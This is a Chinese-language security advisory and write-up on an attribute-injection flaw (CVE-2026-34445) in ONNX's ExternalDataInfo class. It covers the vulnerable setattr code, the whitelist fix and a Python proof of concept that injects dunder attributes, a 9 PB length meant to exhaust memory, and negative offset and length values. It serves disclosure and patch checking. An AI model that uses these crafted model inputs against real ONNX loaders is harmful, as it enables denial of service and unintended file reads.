ONNX ExternalDataInfo 属性注入漏洞 [ CVE-2026-34445 ]

张开发
2026/4/3 11:50:19 15 分钟阅读
ONNX ExternalDataInfo 属性注入漏洞 [ CVE-2026-34445 ]
基本信息项目内容CVE编号CVE-2026-34445漏洞名称ONNX ExternalDataInfo 属性注入/对象状态损坏漏洞影响组件Open Neural Network Exchange (ONNX)影响版本 1.21.0修复版本1.21.0漏洞类型CWE-915: 动态确定对象属性的不当控制修改CWE-400: 未控制的资源消耗CWE-20: 不当的输入验证CVSS 3.18.6 HIGH(AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H)参考链接https://github.com/onnx/onnx/security/advisories/GHSA-538c-55jv-c5g9https://github.com/onnx/onnx/pull/7751https://github.com/onnx/onnx/commit/e30c6935d67cc3eca2fa284e37248e7c0036c46b一、漏洞描述Open Neural Network Exchange (ONNX) 是一个开放的机器学习互操作性标准。在其 1.21.0 版本之前ExternalDataInfo类在处理 ONNX 模型文件的外部数据元数据时存在安全缺陷。该类使用 Python 的setattr()函数直接从模型文件中加载元数据如文件路径、数据长度等但未对文件中的键(keys)进行有效性验证。攻击者可以构造恶意的 ONNX 模型文件通过注入任意属性键来覆盖对象的内部属性导致对象状态损坏、拒绝服务或其他未预期的行为。二、漏洞危害2.1 攻击向量概述攻击类型危害描述严重程度Dunder属性注入注入__class__、__dict__等双下划线属性破坏 Python 对象内部状态可能导致类型混淆攻击高任意属性注入在ExternalDataInfo对象上创建任意属性为后续代码逻辑埋下安全隐患中拒绝服务 (DoS)将length设置为极大值如 9PB导致系统尝试分配海量内存引发 OOM 崩溃高访问绕过设置负值offset如 -1可能导致file.seek()读取文件的非预期部分中文件读取绕过设置负值length导致file.read(-1)读取整个文件绕过预期的大小限制中2.2 CVSS 评分详情CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H 攻击向量 (AV): Network - 可通过网络远程攻击 攻击复杂度 (AC): Low - 攻击条件简单无需特殊条件 所需权限 (PR): None - 无需任何权限 用户交互 (UI): None - 无需用户交互 影响范围 (S): Unchanged - 不影响其他组件 机密性影响 (C): Low - 可能导致部分信息泄露 完整性影响 (I): Low - 可能导致部分数据被修改 可用性影响 (A): High - 可能导致系统完全不可用 基础分: 8.6 (HIGH)三、漏洞成因3.1 漏洞代码位置文件:onnx/external_data_helper.py类:ExternalDataInfo方法:__init__()3.2 漏洞代码分析存在漏洞的代码v1.20.0及之前:classExternalDataInfo:def__init__(self,tensor:TensorProto)-None:self.locationself.offset:Optional[int]Noneself.length:Optional[int]Noneself.checksum:Optional[str]None# 漏洞点直接遍历 external_data 并执行 setattr无白名单校验forentryintensor.external_data:# entry.key 和 entry.value 完全来自用户可控的模型文件setattr(self,entry.key,entry.value)# -- 危险操作3.3 漏洞根因缺乏输入验证:tensor.external_data是模型文件中的StringStringEntryProto键值对攻击者可以构造任意 key。直接 setattr: 使用setattr(self, key, value)直接将外部数据设置为对象属性没有对 key 进行白名单限制。缺乏边界检查:offset和length没有进行非负整数校验。3.4 修复方案v1.21.0# 定义允许的外部数据键白名单_ALLOWED_EXTERNAL_DATA_KEYSfrozenset({location,offset,length,checksum,basepath})classExternalDataInfo:def__init__(self,tensor:TensorProto)-None:self.locationself.offset:Optional[int]Noneself.length:Optional[int]Noneself.checksum:Optional[str]Noneself.basepath:strunknown_keys[]forentryintensor.external_data:ifentry.keynotin_ALLOWED_EXTERNAL_DATA_KEYS:# Layer 1: 白名单校验拒绝未知 keyunknown_keys.append(entry.key)continue# Layer 2: 边界校验offset/length 必须为非负整数ifentry.keyin(offset,length):try:valueint(entry.value)ifvalue0:raiseValueError(f{entry.key}must be non-negative, got{value})exceptValueErrorase:raiseValueError(fInvalid{entry.key}value:{entry.value})fromesetattr(self,entry.key,entry.value)# 对未知 key 发出警告ifunknown_keys:warnings.warn(fIgnoring unknown external_data keys:{unknown_keys})四、POC概念验证4.1 环境准备# 安装受影响的 ONNX 版本pipinstallonnx1.20.0 numpy protobuf# 验证版本python-cimport onnx; print(onnx.__version__)4.2 POC 代码创建文件poc_cve_2026_34445.py:#!/usr/bin/env python3 CVE-2026-34445 / GHSA-538c-55jv-c5g9 ONNX ExternalDataInfo 属性注入漏洞 POC importwarningsimportonnxfromonnx.external_data_helperimportExternalDataInfofromonnximportTensorProtodeftest_attribute_injection(): 测试1: 属性注入攻击 验证是否可以将任意属性注入 ExternalDataInfo 对象 print(*70)print([测试1] 属性注入攻击 (CWE-915))print(*70)# 创建一个 TensorProto模拟恶意模型中的张量tensorTensorProto()tensor.namemalicious_tensor# 添加正常的外部数据字段locationtensor.external_data.add()location.keylocationlocation.valuemodel.bin# 添加恶意属性 - 尝试覆盖内部属性malicious_attrs[(__class__,hacked_class),# Dunder 属性(__dict__,hacked_dict),# 对象字典(__module__,hacked_module),# 模块名(evil_attribute,malicious_value),# 任意自定义属性(_private_attr,private_value),# 伪私有属性]forkey,valueinmalicious_attrs:entrytensor.external_data.add()entry.keykey entry.valuevalueprint(f[] 构造的 TensorProto 包含{len(tensor.external_data)}个 external_data 条目:)foreintensor.external_data:print(f - key: {e.key} {e.value})# 捕获警告修复版本会发出警告withwarnings.catch_warnings(recordTrue)asw:warnings.simplefilter(always)try:infoExternalDataInfo(tensor)print(f\n[] ExternalDataInfo 对象创建成功)# 检查哪些恶意属性被成功注入injected[]forkey,expectedinmalicious_attrs:ifhasattr(info,key):actualgetattr(info,key)injected.append((key,actual))print(f [!] 属性注入成功: {key} {actual})ifinjected:print(f\n[漏洞确认] 以下非标准属性被注入到对象中:)forkey,valininjected:print(f -{key}:{val})# 检查对象 __dict__print(f\n[对象内部状态] __dict__:{info.__dict__})returnTrueelse:print(\n[-] 未发现注入属性可能已修复)returnFalseexceptExceptionase:print(f\n[-] 发生异常:{type(e).__name__}:{e})ifwhitelistinstr(e).lower()ornot ininstr(e).lower():print([] 可能是修复版本的防护机制)returnFalsedeftest_dos_attack(): 测试2: 拒绝服务攻击 通过设置极大的 length 值导致内存分配失败 print(\n*70)print([测试2] 拒绝服务攻击 (CWE-400) - 超大 length)print(*70)tensorTensorProto()tensor.namedos_tensorlocationtensor.external_data.add()location.keylocationlocation.valuedummy.bin# 设置极大的 length9PBlengthtensor.external_data.add()length.keylengthlength.value9007199254740992# 9 Petabytesprint(f[] 构造恶意 Tensorlength {length.value}(9PB))try:infoExternalDataInfo(tensor)print(f[] ExternalDataInfo 创建成功)print(f - length 值:{info.length})# 尝试模拟加载外部数据时的内存分配ifinfo.length:length_intint(info.length)print(f [!] 如果加载此数据将尝试分配{length_int/(1024**5):.2f}PB 内存!)print( [!] 这将导致系统 OOM 崩溃)returnTrueexceptValueErrorase:print(f[] 修复版本行为: 检测到非法值抛出 ValueError:{e})returnFalseexceptExceptionase:print(f[-] 其他异常:{type(e).__name__}:{e})returnFalsedeftest_negative_offset(): 测试3: 负偏移攻击 负 offset 可能导致文件读取位置异常 print(\n*70)print([测试3] 负偏移攻击 - 负 offset 值)print(*70)tensorTensorProto()tensor.nameoffset_attack_tensorlocationtensor.external_data.add()location.keylocationlocation.valuetarget.bin# 设置负 offsetoffsettensor.external_data.add()offset.keyoffsetoffset.value-1# 负偏移print(f[] 构造恶意 Tensoroffset {offset.value})try:infoExternalDataInfo(tensor)print(f[] ExternalDataInfo 创建成功)print(f - offset 值:{info.offset})ifint(info.offset)0:print( [!] 漏洞确认: offset 可以为负值!)print( [!] 这可能导致 file.seek(-1) 产生非预期行为)returnTrueexceptValueErrorase:print(f[] 修复版本行为: 拒绝负值 offset:{e})returnFalseexceptExceptionase:print(f[-] 其他异常:{type(e).__name__}:{e})returnFalsedeftest_negative_length(): 测试4: 负 length 攻击 负 length 会导致 file.read(-1) 读取整个文件 print(\n*70)print([测试4] 负 length 攻击 - 负 length 值)print(*70)tensorTensorProto()tensor.namelength_attack_tensorlocationtensor.external_data.add()location.keylocationlocation.valuesecret.bin# 设置负 lengthlengthtensor.external_data.add()length.keylengthlength.value-100print(f[] 构造恶意 Tensorlength {length.value})try:infoExternalDataInfo(tensor)print(f[] ExternalDataInfo 创建成功)print(f - length 值:{info.length})ifint(info.length)0:print( [!] 漏洞确认: length 可以为负值!)print( [!] 这将导致 file.read(-1) 读取整个文件绕过大小限制)returnTrueexceptValueErrorase:print(f[] 修复版本行为: 拒绝负值 length:{e})returnFalseexceptExceptionase:print(f[-] 其他异常:{type(e).__name__}:{e})returnFalsedefshow_version_info():显示版本信息print(\n*70)print([环境信息])print(*70)print(fONNX 版本:{onnx.__version__})print(fPython 版本:{__import__(sys).version})# 检查是否存在白名单try:fromonnx.external_data_helperimport_ALLOWED_EXTERNAL_DATA_KEYSprint(f\n修复机制: 检测到 _ALLOWED_EXTERNAL_DATA_KEYS)print(f允许字段:{_ALLOWED_EXTERNAL_DATA_KEYS})returnTrueexceptImportError:print(\n漏洞版本: 未检测到白名单机制)returnFalseif__name____main__:print( CVE-2026-34445 / GHSA-538c-55jv-c5g9 ONNX ExternalDataInfo 属性注入漏洞 POC )# 显示环境信息is_patchedshow_version_info()# 运行测试results[]results.append((属性注入,test_attribute_injection()))results.append((DoS攻击,test_dos_attack()))results.append((负偏移,test_negative_offset()))results.append((负长度,test_negative_length()))# 总结print(\n*70)print([测试结果汇总])print(*70)vulnerable_countsum(1for_,rinresultsifr)fortest_name,is_vulnerableinresults:status存在漏洞ifis_vulnerableelse已修复/无漏洞print(f{test_name}:{status})print(f\n[*] 检测到{vulnerable_count}/4 个测试项存在漏洞)ifvulnerable_count0andnotis_patched:print(\n[!] 结论: 当前 ONNX 版本存在 CVE-2026-34445 漏洞!)print([!] 建议: 立即升级到 ONNX 1.21.0)elifvulnerable_count0andis_patched:print(\n[] 结论: 当前 ONNX 版本已修复 CVE-2026-34445)else:print(\n[?] 结论: 测试结果不一致请手动验证)4.3 运行 POCpython poc_cve_2026_34445.py4.4 预期输出漏洞版本 1.21.0[测试1] 属性注入攻击 (CWE-915) [] 构造的 TensorProto 包含 6 个 external_data 条目: - key: location model.bin - key: __class__ hacked_class ... [!] 属性注入成功: __class__ hacked_class [!] 属性注入成功: evil_attribute malicious_value ... [漏洞确认] 以下非标准属性被注入到对象中 [测试2] 拒绝服务攻击 (CWE-400) [!] 如果加载此数据将尝试分配 8.00 PB 内存! [!] 这将导致系统 OOM 崩溃 [!] 结论: 当前 ONNX 版本存在 CVE-2026-34445 漏洞!4.5 预期输出修复版本 1.21.0[环境信息] 修复机制: 检测到 _ALLOWED_EXTERNAL_DATA_KEYS 允许字段: {location, offset, length, checksum, basepath} [测试1] 属性注入攻击 (CWE-915) [] 修复版本行为: 检测到非法值抛出 ValueError [] 结论: 当前 ONNX 版本已修复 CVE-2026-34445五、修复建议5.1 临时缓解措施输入验证: 在加载外部模型前使用 ONNX 的 checker 工具验证模型沙箱环境: 在隔离环境中加载不可信的 ONNX 模型资源限制: 使用容器限制内存使用防止 DoS 攻击5.2 官方修复方案强烈建议升级到 ONNX 1.21.0 或更高版本:pipinstall--upgradeonnx1.21.05.3 三层防御架构官方修复采用了纵深防御策略防御层功能位置Layer 1属性白名单校验ExternalDataInfo.__init__Layer 2非负整数边界校验ExternalDataInfo.__init__Layer 3文件大小验证load_external_data_for_tensor()六、时间线时间事件2026-03-17GitHub Security Advisory 发布 (GHSA-538c-55jv-c5g9)2026-03-17PR #7751 合并到 main 分支2026-04-01CVE-2026-34445 正式分配并录入 NVD2026-04-01ONNX 1.21.0 发布包含安全修复免责声明本报告仅供安全研究和授权测试使用。未经授权对他人系统进行安全测试属于违法行为请遵守相关法律法规。使用本报告中的信息所造成的任何后果与报告作者无关。

更多文章